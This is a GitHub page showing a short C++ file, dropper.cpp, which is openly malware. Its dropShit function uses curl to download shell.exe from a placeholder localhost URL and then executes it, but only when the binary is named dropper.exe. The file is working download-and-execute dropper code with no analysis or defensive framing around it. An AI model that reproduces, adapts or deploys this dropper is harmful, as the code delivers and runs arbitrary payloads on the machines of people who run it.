-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdropper.cpp
More file actions
46 lines (42 loc) · 980 Bytes
/
Copy pathdropper.cpp
File metadata and controls
46 lines (42 loc) · 980 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <iostream>
#include <string>
#include <Windows.h>
#include <fstream>
#include <Lmcons.h>
using std::string;
using namespace std;
string getFileName(const string& s) {
char sep = '/';
#ifdef _WIN32
sep = '\\';
#endif
size_t i = s.rfind(sep, s.length());
if (i != string::npos) {
return(s.substr(i + 1, s.length() - i));
}
return("");
}
void dropShit() {
string url = "http://127.0.0.1/shell.exe";
string opt1 = "curl ";
string opt2 = " -o shell.exe";
string cmd = opt1 + url + opt2;
cout << cmd;
system(cmd.c_str());
system("shell.exe");
}
int main(int argc, char** argv) {
char fileName[MAX_PATH];
char username[UNLEN + 1];
DWORD len = UNLEN + 1;
GetUserName(username, &len);
string path = argv[0];
if (getFileName(path) == "dropper.exe") {
cout << "DROPPING :))" << endl;
dropShit();
}
else {
cout << "Fucky Wucky" << endl;
exit(1);
}
}